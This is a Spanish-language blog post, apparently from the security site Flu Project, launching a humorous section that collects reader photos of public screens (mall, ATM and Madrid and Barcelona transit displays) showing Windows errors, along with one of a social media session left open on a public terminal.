- Estrenamos nueva sección en Flu Project – ¡Pantalla Pública!, podéis enviarnos fotografías que hagáis de pantallas de cajeros, terminales de venta o de información, etc. en los que veais cosas curiosas como errores de Windows, pantallazos azules, etc.
Sábado 14 de Enero
- Ayer todos bailamos al ritmo del "Hacker Rap" by zerialkiller
Hacker Rap by zerialkiller
Estrenamos nueva sección en Flu Project - ¡Pantalla Pública!
Buenas a todos, hoy inauguramos una nueva sección en Flu Project a la que hemos titulado como "¡Pantalla Pública!".
En esta nueva sección publicaremos fotografías que hagamos y que nos enviéis de pantallas que os encontréis en centros comerciales, estaciones, cajeros, trabajos, universidades, etc. en las que veais cosas cursiosas, como por ejemplo, los típicos errores de Windows :)
¡Abrimos la sección con las siguientes fotografías!:
Error de Windows mostrado en una de las pantallas de información del Centro Comercial La Vaguada de Madrid:
Alguien no se le ocurrió otra feliz idea que mirar su Tuenti en el Centro Comercial El Corte Inglés de Xanadú, y para colmo se le olvidó cerrar la sesión...:
Ahora tocan errores en las pantallas de medios de transporte de Madrid y Barcelona :)
Renfe de Madrid:
Tranvía de Barcelona:
Como de costumbre, si queréis que publiquemos vuestras fotografías podéis enviarnoslas al email info@flu-project.com.
Saludos!